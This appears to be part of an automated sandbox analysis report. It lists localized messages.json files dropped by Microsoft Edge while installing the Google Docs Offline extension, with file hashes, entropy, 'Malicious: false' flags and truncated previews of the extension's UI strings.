Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
